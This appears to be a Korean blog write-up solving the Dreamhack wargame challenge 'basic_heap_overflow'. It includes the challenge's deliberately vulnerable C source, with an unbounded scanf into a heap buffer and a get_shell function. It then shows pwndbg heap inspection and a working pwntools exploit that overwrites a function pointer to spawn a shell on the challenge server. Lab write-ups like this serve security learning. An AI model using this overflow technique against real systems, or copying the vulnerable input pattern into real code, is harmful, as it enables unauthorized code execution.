basic_heap_overflow 풀이

2021. 8. 3. 01:31Dreamhack Wargame

728x90

문제 제목
문제 정보
문제에서 주어진 파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

 

코드가 길어보이니 차근차근 해석해보겠습니다.

 

우선 0x20 크기의 힙 버퍼 ptr을 선언합니다.

그리고 크기 0x20의 힙 버퍼 over를 만들고 이를 구조체 over로 묶어줍니다.

그 후에 initialize() 함수를 실행합니다.

initialize(), table_func(), get_shell(), alarm_handler()

이렇게 4개의 함수들은 다 기능이 간단하기 때문에 한 줄로 간략하게 정리하겠습니다.

 

initialize() : 30초가 지나면 alarm_handler() 함수에게 시그널을 보냅니다.
alarm_handler() : "TIME OUT"이라는 문자열을 출력하고 프로그램을 종료시킵니다.
table_func() : "overwrite_me!"라는 문자열을 출력합니다.
get_shell() : 쉘을 따주는 함수입니다.

 

다시 main() 함수로 돌아오겠습니다.

 

구조체 포인터를 사용하여 table 안에 table_func()의 주소를 할당해줍니다.

그리고 힙 버퍼인 ptr에 문자열을 입력받습니다.

 

그런데 read가 아닌 scanf로 입력을 받고 있습니다.

길이를 지정해주지 않고 입력을 받으니 이 부분에서 Overflow가 발생합니다.

ptr의 크기가 0x20이니까 길이 0x20 이상의 무언가를 입력하면 over 값에 접근 할 수 있을 것 같습니다.

 

우선 Heap Buffer Overflow는 gdb로 메모리를 확인해보는게 좋으니 gdb로 파일을 열어보겠습니다.

 

gdb basic_heap_overflow

두 개의 malloc() 함수가 보입니다.

각각 공간이 어떻게 할당되는지 확인해보겠습니다.

 

heap 명령어로 heap의 상태 확인

pwndbg 실행 중에 heap이라고 치면 현재 존재하는 heap의 상태를 출력해줍니다.

할당된 두 개의 heap을 보면 크기가 각각 0x29인걸 볼 수 있습니다.

 

이제 scanf() 함수로 입력을 받기 직전까지 간 다음에 heap 상태를 다시 확인하겠습니다.

 

table_func 위치 확인

[ STACK ] 부분에서 0x804b030 부분을 보면 table_func() 함수의 주소가 올라간걸 볼 수 있습니다.

저 주소를 get_shell() 함수의 주소로 덮는식으로 익스코드를 작성하면 문제가 풀릴 것 같습니다.

 

from pwn import *

p=remote("host1.dreamhack.games",18442)
e=ELF('./basic_heap_overflow')

getshell=e.symbols['get_shell']

pay='a'*0x29+p32(getshell)

p.sendline(pay)

p.interactive()

실...패?

깔끔하게 정답일줄 알았는데 FLAG가 따지지 않습니다.

context.log_level='debug'를 코드 위에 넣고 어디가 잘못됐는지 확인해보겠습니다.

 

0x29 -> 0x28

a가 한 칸 넘쳐서 제대로 실행이 되지 않았나봅니다.

a를 0x29가 아니라 0x28만큼 넣고 실행해보겠습니다.

 

from pwn import *

context.log_level='debug'

p=remote("host1.dreamhack.games",18442)
e=ELF('./basic_heap_overflow')

getshell=e.symbols['get_shell']

pay='a'*0x28+p32(getshell)

p.sendline(pay)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

 

heap 이론에 대해서 좀 더 공부를 해봐야 할 것 같습니다.

어렵네요.....

728x90

'Dreamhack Wargame' 카테고리의 다른 글

proxy-1 풀이  (0) 2021.08.11
basic_exploitation_003 풀이  (0) 2021.08.04
basic_exploitation_002 풀이  (0) 2021.08.02
basic_rop_x64 풀이  (0) 2021.08.01
basic_rop_x86 풀이  (0) 2021.07.31